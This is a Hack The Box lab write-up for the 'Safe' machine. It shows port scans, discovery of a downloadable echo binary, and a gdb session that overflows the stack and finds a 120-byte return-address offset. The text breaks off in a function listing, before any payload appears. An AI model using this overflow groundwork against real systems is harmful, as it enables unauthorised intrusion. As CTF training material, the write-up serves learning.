SAFE (HACKTHEBOX)

root@kali:~/Downloads# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.147 –rate=1000

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2019-10-28 04:48:17 GMT
— forced options: -sS -Pn -n –randomize-hosts -v –send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 1337/tcp on 10.10.10.147
Discovered open port 22/tcp on 10.10.10.147
Discovered open port 80/tcp on 10.10.10.147
^Zte: 0.00-kpps, 100.00% done, waiting -13-secs, found=3
[2]+ Stopped masscan -e tun0 -p1-65535,U:1-65535 10.10.10.147 –rate=1000

root@kali:~/Downloads# nmap -n -v -Pn -p22,80,1337 -A –reason -oN nmap.txt 10.10.10.147
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-28 04:52 GMT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 04:52
Completed NSE at 04:52, 0.00s elapsed
Initiating NSE at 04:52
Completed NSE at 04:52, 0.00s elapsed
Initiating NSE at 04:52
Completed NSE at 04:52, 0.00s elapsed
Initiating SYN Stealth Scan at 04:52
Scanning 10.10.10.147 [3 ports]
Discovered open port 22/tcp on 10.10.10.147
Discovered open port 80/tcp on 10.10.10.147
Discovered open port 1337/tcp on 10.10.10.147
Completed SYN Stealth Scan at 04:52, 0.28s elapsed (3 total ports)
Initiating Service scan at 04:52
Scanning 3 services on 10.10.10.147
Completed Service scan at 04:53, 96.41s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 10.10.10.147
Retrying OS detection (try #2) against 10.10.10.147
Initiating Traceroute at 04:54
Completed Traceroute at 04:54, 0.25s elapsed
NSE: Script scanning 10.10.10.147.
Initiating NSE at 04:54
Completed NSE at 04:54, 6.91s elapsed
Initiating NSE at 04:54
Completed NSE at 04:54, 1.50s elapsed
Initiating NSE at 04:54
Completed NSE at 04:54, 0.00s elapsed
Nmap scan report for 10.10.10.147
Host is up, received user-set (0.24s latency).

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 6d:7c:81:3d:6a:3d:f9:5f:2e:1f:6a:97:e5:00:ba:de (RSA)
| 256 99:7e:1e:22:76:72:da:3c:c9:61:7d:74:d7:80:33:d2 (ECDSA)
|_ 256 6a:6b:c3:8e:4b:28:f7:60:85:b1:62:ff:54:bc:d8:d6 (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.25 ((Debian))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Apache2 Debian Default Page: It works
1337/tcp open waste? syn-ack ttl 63
| fingerprint-strings:
| DNSStatusRequestTCP:
| 00:53:30 up 3:04, 0 users, load average: 0.00, 0.00, 0.00
| DNSVersionBindReqTCP:
| 00:53:25 up 3:04, 0 users, load average: 0.00, 0.00, 0.00
| GenericLines:
| 00:53:11 up 3:04, 0 users, load average: 0.00, 0.00, 0.00
| What do you want me to echo back?
| GetRequest:
| 00:53:18 up 3:04, 0 users, load average: 0.00, 0.00, 0.00
| What do you want me to echo back? GET / HTTP/1.0
| HTTPOptions:
| 00:53:18 up 3:04, 0 users, load average: 0.00, 0.00, 0.00
| What do you want me to echo back? OPTIONS / HTTP/1.0
| Help:
| 00:53:35 up 3:04, 0 users, load average: 0.00, 0.00, 0.00
| What do you want me to echo back? HELP
| NULL:
| 00:53:11 up 3:04, 0 users, load average: 0.00, 0.00, 0.00
| RPCCheck:
| 00:53:19 up 3:04, 0 users, load average: 0.00, 0.00, 0.00
| RTSPRequest:
| 00:53:19 up 3:04, 0 users, load average: 0.00, 0.00, 0.00
| What do you want me to echo back? OPTIONS / RTSP/1.0
| SSLSessionReq, TerminalServerCookie:
| 00:53:36 up 3:04, 0 users, load average: 0.00, 0.00, 0.00
| What do you want me to echo back?
| TLSSessionReq:
| 00:53:37 up 3:04, 0 users, load average: 0.00, 0.00, 0.00
|_ What do you want me to echo back?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.80%I=7%D=10/28%Time=5DB6740A%P=x86_64-pc-linux-gnu%r(N
SF:ULL,3E,”\x2000:53:11\x20up\x20\x203:04,\x20\x200\x20users,\x20\x20load\
SF:x20average:\x200\.00,\x200\.00,\x200\.00\n”)%r(GenericLines,63,”\x2000:
SF:53:11\x20up\x20\x203:04,\x20\x200\x20users,\x20\x20load\x20average:\x20
SF:0\.00,\x200\.00,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20e
SF:cho\x20back\?\x20\r\n”)%r(GetRequest,71,”\x2000:53:18\x20up\x20\x203:04
SF:,\x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\.
SF:00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20GET\x2
SF:0/\x20HTTP/1\.0\r\n”)%r(HTTPOptions,75,”\x2000:53:18\x20up\x20\x203:04,
SF:\x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\.0
SF:0\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20OPTIONS
SF:\x20/\x20HTTP/1\.0\r\n”)%r(RTSPRequest,75,”\x2000:53:19\x20up\x20\x203:
SF:04,\x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200
SF:\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20OPTI
SF:ONS\x20/\x20RTSP/1\.0\r\n”)%r(RPCCheck,3E,”\x2000:53:19\x20up\x20\x203:
SF:04,\x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200
SF:\.00\n”)%r(DNSVersionBindReqTCP,3E,”\x2000:53:25\x20up\x20\x203:04,\x20
SF:\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\.00\n”
SF:)%r(DNSStatusRequestTCP,3E,”\x2000:53:30\x20up\x20\x203:04,\x20\x200\x2
SF:0users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\.00\n”)%r(Help
SF:,67,”\x2000:53:35\x20up\x20\x203:04,\x20\x200\x20users,\x20\x20load\x20
SF:average:\x200\.00,\x200\.00,\x200\.00\n\nWhat\x20do\x20you\x20want\x20m
SF:e\x20to\x20echo\x20back\?\x20HELP\r\n”)%r(SSLSessionReq,64,”\x2000:53:3
SF:6\x20up\x20\x203:04,\x20\x200\x20users,\x20\x20load\x20average:\x200\.0
SF:0,\x200\.00,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\
SF:x20back\?\x20\x16\x03\n”)%r(TerminalServerCookie,63,”\x2000:53:36\x20up
SF:\x20\x203:04,\x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200
SF:\.00,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back
SF:\?\x20\x03\n”)%r(TLSSessionReq,64,”\x2000:53:37\x20up\x20\x203:04,\x20\
SF:x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\.00\n\n
SF:What\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20\x16\x03\n”);
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 – 4.9 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.13 (94%), Linux 3.16 (93%), Linux 3.12 (93%), Linux 3.18 (93%), Linux 3.8 – 3.11 (93%), Linux 4.8 (93%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.125 days (since Mon Oct 28 01:53:45 2019)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 242.02 ms 10.10.14.1
2 242.19 ms 10.10.10.147

NSE: Script Post-scanning.
Initiating NSE at 04:54
Completed NSE at 04:54, 0.00s elapsed
Initiating NSE at 04:54
Completed NSE at 04:54, 0.00s elapsed
Initiating NSE at 04:54
Completed NSE at 04:54, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.96 seconds
Raw packets sent: 57 (4.128KB) | Rcvd: 43 (3.245KB)

now on browser

http://10.10.10.147/


now see the os code

view-source:http://10.10.10.147/

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<!– ‘myapp’ can be downloaded to analyze from here
its running on port 1337 –>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=UTF-8″ />
<title>Apache2 Debian Default Page: It works</title>
<style type=”text/css” media=”screen”>
* {
margin: 0px 0px 0px 0px;
padding: 0px 0px 0px 0px;
}

http://10.10.10.147/myapp

save the files


root@kali:~/Downloads# file myapp
myapp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fcbd5450d23673e92c8b716200762ca7d282c73a, not stripped


now on browser


http://ropshell.com/


root@kali:~/Downloads# chmod +x myapp
root@kali:~/Downloads# ./myapp
05:26:36 up 45 min, 1 user, load average: 0.04, 0.03, 0.05

What do you want me to echo back? test
test

root@kali:~/Downloads/checksec.sh# nc 10.10.10.147 1337
01:26:39 up 3:37, 0 users, load average: 0.00, 0.00, 0.00
test

What do you want me to echo back? test


Ncat: Broken pipe.

root@kali:~/Downloads# ./myapp
05:27:12 up 46 min, 1 user, load average: 0.02, 0.02, 0.04

What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

root@kali:~/Downloads# checksec myapp
[*] ‘/root/Downloads/myapp’
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE

root@kali:~/Downloads# gdb myapp
GNU gdb (Debian 8.3-1) 8.3
Copyright (C) 2019 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type “show copying” and “show warranty” for details.
This GDB was configured as “x86_64-linux-gnu”.
Type “show configuration” for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type “help”.
Type “apropos word” to search for commands related to “word”…
GEF for linux ready, type `gef’ to start, `gef config’ to configure
77 commands loaded for GDB 8.3 using Python engine 3.7
[*] 3 commands could not be loaded, run `gef missing` to know why.
GEF for linux ready, type `gef’ to start, `gef config’ to configure
77 commands loaded for GDB 8.3 using Python engine 3.7
[*] 3 commands could not be loaded, run `gef missing` to know why.
Reading symbols from myapp…
(No debugging symbols found in myapp)
gef➤ pattern create
[+] Generating a pattern of 1024 bytes
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaaf
[+] Saved as ‘$_gef0’
gef➤ r
Starting program: /root/Downloads/myapp
[Detaching after vfork from child process 5961]
05:34:05 up 52 min, 1 user, load average: 0.05, 0.02, 0.02

What do you want me to echo back? aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaaf
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaaf

Program received signal SIGSEGV, Segmentation fault.
0x00000000004011ac in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x00007ffff7ed7924 → 0x5477fffff0003d48 (“H=”?)
$rdx : 0x00007ffff7fa8580 → 0x0000000000000000
$rsp : 0x00007fffffffe198 → “paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava[…]”
$rbp : 0x616161616161616f (“oaaaaaaa”?)
$rsi : 0x0000000000405260 → “aaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaa[…]”
$rdi : 0x0
$rip : 0x00000000004011ac → <main+77> ret
$r8 : 0x401
$r9 : 0x00007ffff7fad500 → 0x00007ffff7fad500 → [loop detected]
$r10 : 0x00000000004003e0 → 0x6972700073747570 (“puts”?)
$r11 : 0x246
$r12 : 0x0000000000401070 → <_start+0> xor ebp, ebp
$r13 : 0x00007fffffffe270 → “raaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxa[…]”
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe198│+0x0000: “paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava[…]” ← $rsp
0x00007fffffffe1a0│+0x0008: “qaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawa[…]”
0x00007fffffffe1a8│+0x0010: “raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa[…]”
0x00007fffffffe1b0│+0x0018: “saaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaaya[…]”
0x00007fffffffe1b8│+0x0020: “taaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaaza[…]”
0x00007fffffffe1c0│+0x0028: “uaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabba[…]”
0x00007fffffffe1c8│+0x0030: “vaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabca[…]”
0x00007fffffffe1d0│+0x0038: “waaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabda[…]”
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4011a1 <main+66> call 0x401030 <puts@plt>
0x4011a6 <main+71> mov eax, 0x0
0x4011ab <main+76> leave
→ 0x4011ac <main+77> ret
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: “myapp”, stopped, reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4011ac → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x00007ffff7ed7924 → 0x5477fffff0003d48 (“H=”?)
$rdx : 0x00007ffff7fa8580 → 0x0000000000000000
$rsp : 0x00007fffffffe198 → “paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava[…]”
$rbp : 0x616161616161616f (“oaaaaaaa”?)
$rsi : 0x0000000000405260 → “aaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaa[…]”
$rdi : 0x0
$rip : 0x00000000004011ac → <main+77> ret
$r8 : 0x401
$r9 : 0x00007ffff7fad500 → 0x00007ffff7fad500 → [loop detected]
$r10 : 0x00000000004003e0 → 0x6972700073747570 (“puts”?)
$r11 : 0x246
$r12 : 0x0000000000401070 → <_start+0> xor ebp, ebp
$r13 : 0x00007fffffffe270 → “raaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxa[…]”
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe198│+0x0000: “paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava[…]” ← $rsp
0x00007fffffffe1a0│+0x0008: “qaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawa[…]”
0x00007fffffffe1a8│+0x0010: “raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa[…]”
0x00007fffffffe1b0│+0x0018: “saaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaaya[…]”
0x00007fffffffe1b8│+0x0020: “taaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaaza[…]”
0x00007fffffffe1c0│+0x0028: “uaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabba[…]”
0x00007fffffffe1c8│+0x0030: “vaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabca[…]”
0x00007fffffffe1d0│+0x0038: “waaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabda[…]”
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4011a1 <main+66> call 0x401030 <puts@plt>
0x4011a6 <main+71> mov eax, 0x0
0x4011ab <main+76> leave
→ 0x4011ac <main+77> ret
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: “myapp”, stopped, reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4011ac → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ pattern offset paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava
[+] Searching ‘paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava’
[+] Found at offset 120 (big-endian search)
gef➤ info functions
All defined functions:

File ../argp/argp-fmtstream.h:
266: size_t __argp_fmtstream_point(argp_fmtstream_t);
220: int __argp_fmtstream_putc(argp_fmtstream_t, int);
207: int __argp_fmtstream_puts(argp_fmtstream_t, const char *);
230: size_t __argp_fmtstream_set_lmargin(argp_fmtstream_t, size_t);
242: size_t __argp_fmtstream_set_rmargin(argp_fmtstream_t, size_t);
254: size_t __argp_fmtstream_set_wmargin(argp_fmtstream_t, size_t);
194: size_t __argp_fmtstream_write(argp_fmtstream_t, const char *, size_t);

File ../argp/argp.h:
526: void __argp_usage(const struct argp_state *);
544: int __option_is_end(const struct argp_option *);
532: int __option_is_short(const struct argp_option *);

File ../bits/stdlib-bsearch.h:
20: void *__GI_bsearch(const void *, const void *, size_t, size_t, __compar_fn_t);

File ../csu/init-first.c:
43: void __libc_init_first(int, char **, char **);
99: void _dl_start(void);
51: void _init(int, char **, char **);

File ../csu/libc-start.c:
129: int __libc_start_main(int (*)(int, char **, char **), int, char **, int (*)(int, char **, char **), void (*)(void), void (*)(void), void *);

File ../elf/dl-runtime.c:
478: void _dl_call_pltexit(struct link_map *, Elf64_Word, const void *, void *);
61: Elf64_Addr _dl_fixup(struct link_map *, Elf64_Word);
154: Elf64_Addr _dl_profile_fixup(struct link_map *, Elf64_Word, Elf64_Addr, void *, long *);

File ../elf/dl-sysdep.c:
263: void _dl_show_auxv(void);
85: Elf64_Addr _dl_sysdep_start(void **, void (*)(const Elf64_Phdr *, Elf64_Word, Elf64_Addr *, Elf64_auxv_t *));
258: void _dl_sysdep_start_cleanup(void);

File ../elf/dl-tls.c:
528: void *__GI__dl_allocate_tls(void *);
436: void *__GI__dl_allocate_tls_init(void *);
538: void __GI__dl_deallocate_tls(void *, _Bool);
824: void *___tls_get_addr(tls_index *);
886: void _dl_add_to_slotinfo(struct link_map *);
331: void *_dl_allocate_tls_storage(void);
107: size_t _dl_count_modids(void);
134: void _dl_determine_tlsoffset(void);
307: void _dl_get_tls_static_info(size_t *, size_t *);
47: size_t _dl_next_tls_modid(void);
844: void *_dl_tls_get_addr_soft(struct link_map *);
622: struct link_map *_dl_update_slotinfo(unsigned long);
394: static dtv_t *_dl_resize_dtv(dtv_t *);
277: static void *allocate_dtv(void *);
40: static void oom(void);
736: static void *tls_get_addr_tail(dtv_t *, struct link_map *, tls_index *, tls_index *);
797: static struct link_map *update_get_addr(tls_index *);

File ../iconv/gconv_charset.h:
25: static void strip(char *, const char *);

File ../iconv/skeleton.c:
390: int __gconv_transform_ascii_internal(struct __gconv_step *, struct __gconv_step_data *, const unsigned char **, const unsigned char *, unsigned char **, size_t *, int, int);
390: int __gconv_transform_internal_ascii(struct __gconv_step *, struct __gconv_step_data *, const unsigned char **, const unsigned char *, unsigned char **, size_t *, int, int);
390: int __gconv_transform_internal_ucs2(struct __gconv_step *, struct __gconv_step_data *, const unsigned char **, const unsigned char *, unsigned char **, size_t *, int, int);
390: int __gconv_transform_internal_ucs2reverse(struct __gconv_step *, struct __gconv_step_data *, const unsigned char **, const unsigned char *, unsigned char **, size_t *, int, int);
390: int __gconv_transform_internal_ucs4(struct __gconv_step *, struct __gconv_step_data *, const unsigned char **, const unsigned char *, unsigned char **, size_t *, int, int);
390: int __gconv_transform_internal_ucs4le(struct __gconv_step *, struct __gconv_step_data *, const unsigned char **, const unsigned char *, unsigned char **, size_t *, int, int);
390: int __gconv_transform_internal_utf8(struct __gconv_step *, struct __gconv_step_data *, const unsigned char **, const unsigned char *, unsigned char **, size_t *, int, int);
390: int __gconv_transform_ucs2_internal(struct __gconv_step *, struct __gconv_step_data *, const unsigned char **, const unsigned char *, unsigned char **, size_t *, int, int);
390: int __gconv_transform_ucs2reverse_internal(struct __gconv_step *, struct __gconv_step_data *, const unsigned char **, const unsigned char *, unsigned char **, size_t *, int, int);
390: int __gconv_transform_ucs4_internal(struct __gconv_step *, struct __gconv_step_data *, const unsigned char **, const unsigned char *, unsigned char **, size_t *, int, int);
390: int __gconv_transform_ucs4le_internal(struct __gconv_step *, struct __gconv_step_data *, const unsigned char **, const unsigned char *, unsigned char **, size_t *, int, int);
390: int __gconv_transform_utf8_internal(struct __gconv_step *, struct __gconv_step_data *, const unsigned char **, const unsigned char *, unsigned char **, size_t *, int, int);

File ../include/ctype.h:
39: const uint16_t **__ctype_b_loc(void);
51: const int32_t **__ctype_tolower_loc(void);
45: const int32_t **__ctype_toupper_loc(void);

File ../include/rounding-mode.h:
43: static _Bool round_away(_Bool, _Bool, _Bool, _Bool, int);

File ../intl/l10nflist.c:
151: struct loaded_l10nfile *_nl_make_l10nflist(struct loaded_l10nfile **, const char *, size_t, int, const char *, const char *, const char *, const char *, const char *, const char *, int);
299: const char *_nl_normalize_codeset(const char *, size_t);

File ../login/updwtmp.c:
28: void __GI___updwtmp(const char *, const struct utmp *);

File ../login/utmp_file.c:
471: static void endutent_file(void);
171: static int getutent_r_file(struct utmp *, struct utmp **);
283: static int getutid_r_file(const struct utmp *, struct utmp *, struct utmp **);
313: static int getutline_r_file(const struct utmp *, struct utmp *, struct utmp **);
214: static int internal_getut_r(const struct utmp *, struct utmp *, _Bool *);
365: static struct utmp *pututline_file(const struct utmp *);
138: static int setutent_file(void);
53: static void timeout_handler(int);
481: static int updwtmp_file(const char *, const struct utmp *);

File ../malloc/dynarray-skeleton.c:
